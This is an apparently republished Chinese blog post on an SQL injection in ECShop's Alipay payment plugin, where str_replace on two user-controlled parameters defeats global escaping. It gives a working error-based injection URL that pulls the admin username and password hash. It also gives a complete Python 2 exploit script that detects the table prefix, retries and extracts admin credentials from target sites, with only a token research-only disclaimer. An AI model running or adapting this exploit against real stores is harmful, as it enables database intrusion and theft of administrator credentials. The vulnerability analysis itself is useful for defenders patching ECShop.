Ecshop支付宝插件SQL注入及漏洞利用(exp)
0x00
在\includes\modules\payment\alipay.php文件中,有一个response函数用来处理支付信息,在ECSHOP的init初始化文件中,默认是做了全局转义的,而这个漏洞的精髓在于绕过全局转义。
在$order_sn = str_replace($_GET[‘subject‘], ‘‘, $_GET[‘out_trade_no‘]); 中,使用str_replace函数对$_GET[out_trade_no]中的内容进行替换,替换内容和原字符串都是可控的,所以我们就可以将$_GET[out_trade_no]中的反斜杠做替换,从而绕过单引号。
最终$order_sn变量被带入check_money()函数,跟进check_money():
这里看到,$order_sn被带入了数据库进行查询,造成了注入漏洞。
0x01
EXP:
127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00‘ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23
打印出SQL语句:
SELECT order_amount FROM `ecshop1`.`ecs_pay_log` WHERE log_id = ‘\\‘ and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)#‘
注意到,$log_id变量(也就是$order_sn)变成了\\ ,这是因为提交的out_trade_no经过转义变成了\0\’ ,通过控制subject变量(0),带入函数str_replace中变成了:
str_replace(‘0’,’’,”\0\’”)
通过函数的替换,最终$order_sn就变成了\\,从而绕过了单引号转义。
测试结果:
0x02
相应的Exp如下。在调试这个exp的时候出现了很多问题,比如Ecshop中使用报错注入很多次才能爆出结果,需要设置重试次数才行,另外,很多网站是改了Ecshop默认的表前缀的,在爆出admin信息之前必须要先把表前缀搞定,废话不多说,直接贴代码了(代码有一定的攻击性,仅供安全研究与交流,请勿用于非法用途)
#coding=utf-8 '''Powered By Exploit Ecshop支付宝插件注入漏洞: /includes/modules/payment/alipay.php ''' import requests import urllib import sys import re class EcshopAlipayAttacker(): ''' 获取标准url @param url 需要转化的url ''' def get_standard_url(self,data,url): if url.count("http") != 0: if url[-1] == '/': #http://www.xxoo.com/ url = "%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%")) else: #http://www.xxoo.com url = "%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%")) else: if url[-1] == '/': #www.xxoo.com/club/ url = "http://%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%")) else: #www.xxoo.com/club url = "http://%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%")) return url ''' 获取表前缀 @param url 目标主机的url ''' def get_table_pre(self,url): data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=database() limit 1))a from information_schema.tables group by a)b)%23" url = self.get_standard_url(data,url) retry_count = 5 #重试5次 pattern = re.compile(r"Duplicate entry '[0,1]?(.+?)[0,1]?'") while retry_count: try: r = requests.get(url) ret = pattern.findall(r.content) except Exception, e: print e continue if ret != []: if ret[0].count('ecs') != 0: return 'ecs' else: return ret[0][0:ret[0].index('_')] else: retry_count -= 1 continue return None ''' 注入攻击代码 @param url 目标主机的url @param count 爆数据的参数,default=0 @param table_pre 数据库表前缀 ''' def respond_exploit(self,url,count=0,table_pre='ecs'): table_pre = self.get_table_pre(url) if table_pre is None: return None data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from {table_pre}_admin_user limit 1))a from information_schema.tables group by a)b)%23".format(table_pre=table_pre) url = self.get_standard_url(data,url) retry_count = 5 pattern = re.compile(r"Duplicate entry '[1,0]?(.+?)[1,0]?'") while retry_count: r = requests.get(url) ret = pattern.findall(r.content) if ret != []: break else: retry_count -= 1 continue return ret if __name__ == '__main__': attacker = EcshopAlipayAttacker() #---------------测试用(均有漏洞)----------------- url = <a target=_blank href="http://www.target.com">http://www.target.com</a> #-------------------------------------------------- infos = attacker.respond_exploit(url) if infos is None: print 'This website may be not vulnerable' else: print 'Exploit Success!\ninfos:{infos}'.format(infos=infos)
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。